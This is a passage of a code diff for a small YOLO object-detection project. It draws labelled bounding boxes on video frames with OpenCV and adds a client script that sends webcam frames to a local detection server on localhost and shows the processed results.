+        # loop over each of the object detections
+        for detection in output:
+            # extract the class id (label) and confidence (as a probability) of
+            # the current object detection
+            scores = detection[5:]
+            class_id = np.argmax(scores)
+            confidence = scores[class_id]
+            # discard weak predictions by ensuring the detected
+            # probability is greater than the minimum probability
+            if confidence > CONFIDENCE:
+                # scale the bounding box coordinates back relative to the
+                # size of the image, keeping in mind that YOLO actually
+                # returns the center (x, y)-coordinates of the bounding
+                # box followed by the boxes' width and height
+                box = detection[:4] * np.array([w, h, w, h])
+                (centerX, centerY, width, height) = box.astype("int")
+
+                # use the center (x, y)-coordinates to derive the top and
+                # and left corner of the bounding box
+                x = int(centerX - (width / 2))
+                y = int(centerY - (height / 2))
+
+                # update our list of bounding box coordinates, confidences,
+                # and class IDs
+                boxes.append([x, y, int(width), int(height)])
+                confidences.append(float(confidence))
+                class_ids.append(class_id)
+
+    # perform the non maximum suppression given the scores defined before
+    idxs = cv2.dnn.NMSBoxes(boxes, confidences, SCORE_THRESHOLD, IOU_THRESHOLD)
+
+    font_scale = 1
+    thickness = 1
+
+    # ensure at least one detection exists
+    if len(idxs) > 0:
+        # loop over the indexes we are keeping
+        for i in idxs.flatten():
+            # extract the bounding box coordinates
+            x, y = boxes[i][0], boxes[i][1]
+            w, h = boxes[i][2], boxes[i][3]
+            # draw a bounding box rectangle and label on the image
+            color = [int(c) for c in colors[class_ids[i]]]
+            cv2.rectangle(image, (x, y), (x + w, y + h), color=color, thickness=thickness)
+            text = f"{labels[class_ids[i]]}: {confidences[i]:.2f}"
+            # calculate text width & height to draw the transparent boxes as background of the text
+            (text_width, text_height) = cv2.getTextSize(text, cv2.FONT_HERSHEY_SIMPLEX, fontScale=font_scale, thickness=thickness)[0]
+            text_offset_x = x
+            text_offset_y = y - 5
+            box_coords = ((text_offset_x, text_offset_y), (text_offset_x + text_width + 2, text_offset_y - text_height))
+            overlay = image.copy()
+            cv2.rectangle(overlay, box_coords[0], box_coords[1], color=color, thickness=cv2.FILLED)
+            # add opacity (transparency to the box)
+            image = cv2.addWeighted(overlay, 0.6, image, 0.4, 0)
+            # now put the text (label: confidence %)
+            cv2.putText(image, text, (x, y - 5), cv2.FONT_HERSHEY_SIMPLEX,
+                fontScale=font_scale, color=(0, 0, 0), thickness=thickness)
+
+    out.write(image)
+    cv2.imshow("image", image)
+    
+    if ord("q") == cv2.waitKey(1):
+        break
+
+
+cap.release()
+cv2.destroyAllWindows()

CaesarObjectDetection/requirements.txt

@@ -0,0 +1,3 @@
+opencv-python
+numpy
+matplotlib

CaesarObjectDetection/sendweb.py

@@ -0,0 +1,51 @@
+
+import socketio
+import cv2 
+import numpy as np
+import requests
+import base64
+import time
+#sio = socketio.Client()
+
+#sio.connect('http://localhost:5000')
+
+#sio.emit('man', {'from': 'client'})
+
+#@sio.on("capture")
+#def capture():
+
+        
+        #cv2.imshow("image", image)
+        #if ord("q") == cv2.waitKey(1):
+        #    break
+
+    #cap.release()
+    #cv2.destroyAllWindows()
+
+
+#@sio.on('response')
+#def response(data):
+#    print(data)  # {'from': 'server'}
+
+#   sio.disconnect()
+#    exit(0)
+
+cap = cv2.VideoCapture(0)
+while True:
+    _, image = cap.read()
+    response = requests.post("http://127.0.0.1:5000/caesarobjectdetect",json={"frame":base64.b64encode(image).decode()})
+    imagebase64 = np.array(response.json()["frame"])
+    
+    image = np.frombuffer(base64.b64decode(imagebase64),dtype="uint8").reshape(480,640,3)
+    cv2.imshow("image", image)
+    if ord("q") == cv2.waitKey(1):
+        break
+
+cap.release()
+cv2.destroyAllWindows()
+   # @sio.on('caesarobjectresponse')
+    #def caesarobjectresponse(image):
+    #    #print(image)
+    #    cv2.imshow("image",  {'frame':np.array(image["frame"])})
+    #sio.emit("caesarobjectdetect",{'frame':str(image)})
+        

CaesarObjectDetection/stop

@@ -0,0 +1 @@
+q